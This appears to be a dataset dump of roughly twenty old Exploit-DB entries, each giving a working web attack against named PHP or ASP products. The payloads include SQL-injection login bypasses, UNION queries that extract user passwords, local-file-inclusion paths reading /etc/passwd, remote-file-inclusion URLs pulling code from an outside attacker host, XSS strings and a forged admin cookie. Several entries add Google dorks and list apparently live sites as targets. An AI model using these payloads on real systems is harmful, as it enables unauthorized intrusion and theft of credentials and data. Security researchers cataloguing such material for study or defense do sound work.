deardaniel/secdata-raw huggingface dataset:
Exploit-DB #7289
Description: Active Price Comparison 4 - 'ProductID' Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-11-30
Author: R3d-D3V!L

Exploit:
[~] ----------------------------Ø¨Ø³Ù… Ø§Ù„Ù„Ù‡ Ø§Ù„Ø±Ø­Ù…Ù† Ø§Ù„Ø±Ø­ÙŠÙ…------------------------------
 [~]Tybe:(reviews.aspx ProductID) Blind SQL Injection Vulnerability
   
 [~]Vendor:www.activewebsoftwares.com
   
 [~]Software: Active Price Comparison v 4
   
 [~]author: ((Ñ3d D3v!L))
   
 [~] Date: 28.11.2008
   
 [~] Home: www.ahacker.biz
   
 [~] contact: N/A

[~] -----------------------------------------------------------
   

 [~]3xpL0!7 4 d3m0:

 http://www.activewebsoftwares.com/demoactivepricecomparison/reviews.aspx?ProductID={bL!ND}

   
 [~] 8L!/\/D:
   
  7Ru3 : links.asp?linkid=1 and 1=1

  f4L53: links.asp?linkid=1 and 1=2

   
N073:

! 7h!/\/k u can f!nd m0r3 

just let your m1nd breath ;)

[~]--------------------------------------------------------------------------------------
  
  [~] Greetz tO: {str0ke} &keta &m4n0n & maxmos & EV!L KS@ & hesham_hacker &Ø§Ù„Ø²Ù‡ÙŠØ±ÙŠ
  [~]
  [~] spechial thanks : dolly & 7am3m & Ø¹Ù…Ø§Ø¯ & {str0ke}
  [~]
  [~] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --samakiller
  [~]
  [~] xp10.biz & ahacker.biz
  [~]
  
[~]---------------------------------------------------------------------------------------

# milw0rm.com [2008-11-29]
Exploit-DB #7301
Description: Active Time Billing 3.2 - Authentication Bypass
Type: webapps
Platform: php
Date: 2008-11-30
Author: AlpHaNiX

Exploit:
###########################################################################
#-----------------------------OffensiveTrack------------------------------#
###########################################################################







#found by : OffensiveTrack
#Author : AlpHaNiX
#website : www.offensivetrack.org
#contact on mail & msn : AlpHa@Hacker.bz





###########################################################################




#script : Active timebilling
#â‚¬xploit : http://www.activewebsoftwares.com/demoactivetimebilling/Account.asp


  username: r0' or ' 1=1--
  password: r0' or ' 1=1--





#greetz : My Best Friend Zigma

###########################################################################

# milw0rm.com [2008-11-30]
Exploit-DB #26501
Description: ActiveCampaign 1-2-All Broadcast Email 4.0 - Admin Control Panel 'Username' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-12
Author: bhs_team

Exploit:
source: https://www.securityfocus.com/bid/15400/info

ActiveCampaign 1-2-All Broadcast Email is prone to an SQL-injection vulnerability. This is an input-validation issue related to data that will be used in SQL queries, allowing a remote user to influence the structure and logic of a query.

Successful attacks could compromise the software. Depending on the database implementation and the nature of the affected query, the attacker may be able to gain unauthorized access to the database. 

http://www.example.com/[12allTarget]/admin/index.php

Username: ' or 1=1 /*
Password: (Nothing)(Blank)
Exploit-DB #28569
Description: ActiveCampaign KnowledgeBuilder 2.2 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-14
Author: igi

Exploit:
source: https://www.securityfocus.com/bid/20020/info

ActiveCampaign KnowledgeBuilder is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

This may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Reportedly, version 2.2 and earlier are vulnerable; other versions may also be affected.

http://www.example.com/admin/e_data/visEdit_control.class.php?visEdit_root=http://www.example2.com/r0x.dat.txt?cmd
Exploit-DB #27492
Description: ActiveCampaign SupportTrio 2.50.2 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-03-27
Author: r0t

Exploit:
ActiveCampaign SupportTrio is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

ActiveCampaign SupportTrio 2.50.2 is vulnerable. Other versions may be affected as well.

http://www.example.com/supporttrio/index.php?action=kb&article=[r0t]
http://www.example.com/supporttrio/index.php?action=kb&print=[r0t]
http://www.example.com/supporttrio/modules/KB/pdf.php?category=[r0t]
Exploit-DB #14027
Description: ActiveCollab 2.3.0 - Local File Inclusion / Directory Traversal
Type: webapps
Platform: php
Date: 2010-06-24
Author: Jose Carlos de Arriba

Exploit:
============================================================
PAINSEC SECURITY RESEARCH GROUP SECURITY ADVISORY 2010-001
- Original release date: June 24th, 2010
- Discovered by: Jose Carlos de Arriba (dade (at) painsec (dot) com)
- Severity: 10/10 (Base CVSS Score)
============================================================

I. VULNERABILITY
————————-
ActiveCollab 2.3.0 Local File Inclusion / Directory Traversal (prior
version hasn’t been checked so are probably vulnerable).

II. BACKGROUND
————————-
ActiveCollab is a non-free project management & collaboration tool
that you can
set up on your own server or local network. Work with your team,
clients and contractors in an easy to use environment, while keeping
full control over your data.

III. DESCRIPTION
————————-
ActiveCollab presents a Local File Inclusion / Directory Traversal
vulnerability on its “module” parameter, due to an insufficient
sanitization on user supplied data.

A malicious user could get all the files in the web server, and also
get all a shell in the system, in case of being able to write PHP code
in any file that could be loaded through the “module” parameter
(i.e Apache logs).

IV. PROOF OF CONCEPT
————————-
http://www.victim.com/active/index.php?action=DetailView&module=/../../../../../../../etc/passwd%00<http://www.victim.com/active/index.php?action=DetailView&module=/../..>

V. BUSINESS IMPACT
————————-
An attacker could get all files in the server or gain complete access.

VI. SYSTEMS AFFECTED
————————-
ActiveCollab 2.3.0 (prior version hasn’t been checked so are probably
vulnerable).

VII. SOLUTION
————————-
Corrected

VIII. REFERENCES
————————-
http://www.activecollab.com
http://www.painsec.com
http://www.dadesecurity.com

IX. CREDITS
————————-
This vulnerability has been discovered
by Jose Carlos de Arriba (dade (at) painsec (dot) com).

X. REVISION HISTORY
————————-
June 24, 2010: Initial release.

XI. DISCLOSURE TIMELINE
————————-
June 9, 2010: Discovered by Jose Carlos de Arriba (Dade).
June 19, 2010: Vendor contacted including PoC. No response.
June 20, 2010: Response from ActiveCollab developer confirming
future fix.
June 24, 2010: Vulnerability fixed on 2.3.1 version release.

XII. LEGAL NOTICES
————————-
The information contained within this advisory is supplied “as-is”
with no warranties or guarantees of fitness of use or otherwise.
Exploit-DB #10781
Description: ActiveKB - Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-12-29
Author: indoushka

Exploit:
                       ..:::::::::..
                    ..:::aad8888888baa:::..
                 .::::d:?[PII_REDACTED]8?::8b::::.
               .:::d8888:?88888888??a888888b:::.
             .:::d8888888a8888888aa[PII_REDACTED]b:::.
            ::::dP::::::::Dz-GhostTeam:::::::Yb::::
           ::::dP:::::::::Y888888888P:::::::::Yb::::
          ::::d8:::::::::::indoushka:::::::::::8b::::
         .::::88::::::::::::Y88888P::::::::::::88::::.
         :::::Y8baaaaaaaaaa88P:T:Y88aaaaaaaaaad8P:::::
         :::::::Y[PII_REDACTED]8P::|::Y[PII_REDACTED]8P:::::::
         ::::::::::::::::888:::|:::888::::::::::::::::
         `:::::::::::::::[PII_REDACTED]888b::::::::::::::'
          :::::::::::::::[PII_REDACTED]8888::::::::::::::
           :::::::::::::d[PII_REDACTED]8888:::::::::::::
            ::::::::::::88::88::88:::88::::::::::::
             `::::::::::88::88::88:::88::::::::::'
               `::::::::88::88::P::::88::::::::'
                 `::::::88::88:::::::88::::::'
                    ``:::::::::::::::::::''
                         ``:::::::::''
            this file brought to you by Dz-Ghost Team


       |Redda | Saousha | indoushka | Mr.Sql | XxProratxX |


                           횊횙찾 횉찼찼책 횉찼횗횒찾채 횉찼횗횒챠찾
  --                    [ Dz-Ghost Team ]                           ---
-------------------------------------------------------------------------
# Author  : indoushka
# email   : indoushka@hotmail.com
# Home    : 찾횆횙횙횋 횉횣횉횕횋 횉찼횎횗횊챠횋 횄찾 횉찼횊챈횉횧챠 04325
# Script  : powered by ActiveKB 2005 1.0.0
# Bug     : RFI
======================         Dz-Ghost Team           ===================
# Exploit  :
 

1- http://server/sm-ak051/includes/classes/class.template.php?panelPHPFile=[EV!L]

=========================Dz-Ghost Team===================
Greetz : all my friend and Dz-Team * Dos-Dz * Snakespc * His0k4
-------------------------------------------------------------------------
Exploit-DB #5616
Description: ActiveKB 1.5 - Insecure Cookie Handling/Arbitrary Admin Access
Type: webapps
Platform: php
Date: 2008-05-14
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+       ActiveKB <= 1.5 Insecure Cookie Handling/Arbitrary Admin Access          +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz
Discovered On: 14 MAY 2008
Script Download: N/A
DORK (alot more sites, people remove dork): " ActiveKB v1.5 Copyright Â©"



Vendor Has Not Been Notified!



DESCRIPTION: 

ActiveKB suffers from an insecure cookie, when the admin details are checked the script creates a cookie,
to let the script know in future the user is already been checked and is admin. The thing is that, the cookie
only contains a "true" value. So this allows the remote attacker to craft a cookie (which the script didnt create of course)
and gain access to the admin area.

pasting the below javascript code into your browser, will create a cookie then you have access to /admin/



Exploit:

javascript:document.cookie = "auth=true; path=/";



NOTE/TIP: 

after running the above js code, visit /admin/



GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !



peace, t0pP8uZz



--==+================================================================================+==--
--==+       ActiveKB <= 1.5 Insecure Cookie Handling/Arbitrary Admin Access          +==--
--==+================================================================================+==--

# milw0rm.com [2008-05-14]
Exploit-DB #8346
Description: ActiveKB KnowledgeBase - 'Panel' Local File Inclusion
Type: webapps
Platform: php
Date: 2009-04-03
Author: Angela Chang

Exploit:
[o]------------------------------------------------------------------------------------[x]
 |  Local File Inclusion Vulnerability                                                  |
[o]------------------------------------------------------------------------------------[o]
 |  Software : ActiveKB Knowledgebase version X.X                                       |
 |  Vendor    : http://www.interspire.com/activekb/                                     |
 |  Date         : 02 April 2009                                                        |
 |  Author     : Angela Chang                                                           |
 |  Contact   :  mizz_4ng3l@yahoo.com                                                   |
[o]------------------------------------------------------------------------------------[o]

[Â»] Google Dork

    "Powered by ActiveKB Knowledgebase Software"
    inurl:loadpanel.php?Panel=

[Â»] Vulnerable

    ./loadpanel.php

[Â»] Exploit

    http://[site]/[path]/loadpanel.php?Panel=[LFI]%00

[Â»] Sample

    http://help.theedweb.com/activekb/loadpanel.php?Panel=[LFI]%00
    http://my.myriadnetwork.com/kb//loadpanel.php?Panel=[LFI]%00

[o]------------------------------------------------------------------------------------[x]
 |  Greetz     :    Speciale Thanks FoR :                                               |
[o]------------------------------------------------------------------------------------[o]
 |    -------- Vrs-hCk , Nyubi (Solpot) , OoN_Boy      ----------                       |
[o]------------------------------------------------------------------------------------[o]

# milw0rm.com [2009-04-03]
Exploit-DB #4459
Description: ActiveKB KnowledgeBase 2.x - 'catId' SQL Injection
Type: webapps
Platform: php
Date: 2007-09-26
Author: Luna-Tic/XTErner

Exploit:
 ActiveKB NX 2.? ( Powered by ActiveKB Knowledgebase Software)  (index.php) SQL Injection

                              Discovered by Luna-Tic and XTErner 19 Years Ukrainian Hackers 

Vendor:www.interspire.com/activekb/

License:sharewere

Exploit:/kb/index.php?ToDo=browse&catId=[SQL CODE]
http://www.xxx.net/kb/index.html?ToDo=browse&catId=-20+union+select+1,concat(email,0x3a,password,0x3a,userid),3,4,5,6,7+from+user--
https://www.xxx.com/faq/index.php?ToDo=browse&catId=-10+union+select+1,LOAD_FILE(0x2f6574632f[PII_REDACTED]64),3,4,5,6,7+members/*

# milw0rm.com [2007-09-26]
Exploit-DB #30654
Description: ActiveKB NX 2.6 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-10-11
Author: durito

Exploit:
source: https://www.securityfocus.com/bid/26027/info

ActiveKB NX is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal potentially sensitive information and launch other attacks.

This issue affects ActiveKB NX 2.6; other versions may also be vulnerable. 

http://www.example.com/ActiveKB/page?=XSS
Exploit-DB #30299
Description: ActiveWeb Contentserver CMS 5.6.2929 - Client-Side Filtering Bypass
Type: webapps
Platform: php
Date: 2007-07-13
Author: RedTeam Pentesting

Exploit:
source: https://www.securityfocus.com/bid/24898/info

activeWeb contentserver is prone to a client-side input-validation vulnerability because the application fails to sufficiently sanitize user-supplied data.

An attacker can exploit these input-validation vulnerabilities to perform various attacks (e.g. cross-site scripting, SQL injection, etc.).

http://127.0.0.1/path/search?q=%22%3E%3Cscript%3Ealert%28%27bl4ck%27%29%3C%2Fscript%3E
Exploit-DB #3471
Description: Activist Mobilization Platform (AMP) 3.2 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-03-13
Author: the_day

Exploit:
____________________   ___ ___ ________
\_   _____/\_   ___ \ /   |   \\_____  \
 |    __)_ /    \  \//    ~    \/   |   \
 |        \\     \___\    Y    /    |    \
/_______  / \______  /\___|_  /\_______  /
        \/         \/       \/         \/                              .OR.ID
ECHO_ADV_71$2007

---------------------------------------------------------------------------
[ECHO_ADV_71$2007] AMP v3.2 (base_path) Remote File Inclusion Vulnerability
---------------------------------------------------------------------------

Author		: Dedi Dwianto a.k.a the_day
Date Found	: March, 13th 2007
Location	: Indonesia, Jakarta
web		: http://advisories.echo.or.id/adv/adv71-theday-2007.txt
Critical Lvl	: Highly critical
Impact		: System access
Where		: From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application	: Activist Mobilization Platform (AMP )
version		: v3.2 
URL		: http://www.radicaldesigns.org

AMP is completely dynamic suite of content management tools designed with the small
non profit organization,grants roots coalition,political campaign or mass mobilization in mind.
---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~

- Invalid require_once function at includes/base.php
-----------------------includes/base.php------------
....
<?php
require_once($base_path."includes/base_db.php");
require_once($base_path."includes/base_template.php");
?>

----------------------------------------------------------

Input passed to the "$base_path." parameter in base.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.



Proof Of Concept:
~~~~~~~~~~~~~~

http://localhost/amp-3.2/includes/base.php?base_path=http://atacker.com/inject.txt?


Solution:
~~~~~~

- Sanitize variable $base_path affected files.
- Turn off register_globals
- Upgrade to Lastest Version

---------------------------------------------------------------------------

Shoutz:
~~
~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
~ Jessy Nice Girl
~ az001,bomm_3x,matdhule,angelia
~ newbie_hacker@yahoogroups.com
~ #aikmel - #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~~~
     EcHo Research & Development Center
     http://advisories.echo.or.id
     erdc[at]echo[dot]or[dot]id
     the_day[at]echo[dot]or[dot]id
     
-------------------------------- [ EOF ]----------------------------------

# milw0rm.com [2007-03-13]
Exploit-DB #1844
Description: Activity MOD Plus 1.1.0 - 'phpBB Mod' File Inclusion
Type: webapps
Platform: php
Date: 2006-05-28
Author: nukedx

Exploit:
phpBB 2.x (Activity MOD Plus) File Inclusion Vulnerability
Contacts > ICQ: 10072 MSN/Mail: nukedx@nukedx.com web: www.nukedx.com
This exploits works on phpBB 2.x (Activity MOD Plus)
Original advisory can be found at: http://www.nukedx.com/?viewdoc=38

Succesful exploitation needs register_globals on
GET -> http://[victim]/[phpBB]/language/lang_english/lang_activity.php?phpbb_root_path=[FILE]
EXAMPLE -> http://[victim]/[phpBB]/language/lang_english/lang_activity.php?phpbb_root_path=/etc/passwd%00
Requires magic_quotes_gpc off
EXAMPLE -> http://[victim]/[phpBB]/language/lang_english/lang_activity.php?phpbb_root_path=http://yoursite.com/script.txt
Requires allow_url_fopen on

# nukedx.com [2006-05-27]

# milw0rm.com [2006-05-28]
Exploit-DB #4472
Description: actSite 1.56 - 'news.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2007-10-01
Author: DNX

Exploit:
                         \#'#/

                         (-.-)

   -----------------oOO---(_)---OOo-----------------

   | actSite v1.56 (news.php) Local File Inclusion |

   |                 coded by DNX                  |

   -------------------------------------------------

[!] Discovered: DNX

[!] Vendor: http://www.actsite.de

[!] Detected: 02.09.2007

[!] Reported: 02.09.2007

[!] Remote: yes



[!] Background: actSite is a content management system based on PHP and MySQL



[!] Bug: in phpinc/news.php line 101



         require PHP_INCLUDE_PATH."/inc/news/news_$_POST[do].php";



[!] PoC: 

    - http://[site]/[path]/phpinc/news.php?do=/../../../../../../../etc/passwd%00



[!] Description:

    - So why we can inject code in a post variable per url? Let's do some research...

      - In phpinc/news.php line 36

      	require_once('../config.php');



      - Let's take a look in 'config.php' line 22

        if(empty($BaseCfg['install_run'])) require_once($BaseCfg['BaseDir']."/phpinc/inc/csb.php");



      - Ok, let's take a look in 'phpinc/inc/csb.php' line 18

        if(getenv('REQUEST_METHOD') == "GET") {

		foreach($_GET as $key => $val) {

			 $_POST[$key] =& $_GET[$key];

		}

	}



[!] Solution: Install security update to v1.57

# milw0rm.com [2007-10-01]
Exploit-DB #4473
Description: actSite 1.991 Beta - 'base.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-10-01
Author: DNX

Exploit:
                             \#'#/

                             (-.-)

   ---------------------oOO---(_)---OOo--------------------

   | actSite v1.991 Beta (base.php) Remote File Inclusion |

   |                     coded by DNX                     |

   --------------------------------------------------------

[!] Discovered: DNX

[!] Vendor: http://www.actsite.de

[!] Detected: 02.09.2007

[!] Reported: 02.09.2007

[!] Remote: yes



[!] Background: actSite is a content management system based on PHP and MySQL



[!] Bug: $BaseCfg[BaseDir] in lib/base.php



[!] PoC: 

    - http://[site]/[path]/lib/base.php?BaseCfg[BaseDir]=[shell]



[!] Solution: Install update to v1.995

# milw0rm.com [2007-10-01]
Exploit-DB #5528
Description: ActualAnalyzer Lite (free) 2.78 - Local File Inclusion
Type: webapps
Platform: php
Date: 2008-05-01
Author: Khashayar Fereidani

Exploit:
#####################################################################################
####                 ActualAnalyzer Lite (free) 2.78                             ####
####                    LOCAL FILE INCLUSION                                     ####
#####################################################################################
#                                                                                   #
#AUTHOR : IRCRASH (Dr.Crash Or Khashayar Fereidani)                                 #
#Discovered by : IRCRASH (Dr.Crash Or Khashayar Fereidani)                          #
#Our Site : Http://IRCRASH.COM                                                      #
#IRCRASH Team Members : Dr.Crash Or Khashayar Fereidani - Hadi Kiamarsi - Malc0de - R3d.w0rm - Rasool Nasr
#####################################################################################
#                                                                                   #
#Script Download : http://actualscripts.com                                         #
#                                                                                   #
#DORK : "ActualAnalyzer Lite (free) 2.78"+"Copyright Â© 2006 ActualScripts"          #
#                                                                                   #
#####################################################################################
#                                   < LFI >                                         #
#LFI Address : http://Example/other/lite/admin.php?style=../../[FILE NAME]%00&language=ircrash
#                                                                                   #
#####################################################################################
#                           Site : Http://IRCRASH.COM                               #
################################ TNX GOD ############################################

# milw0rm.com [2008-05-01]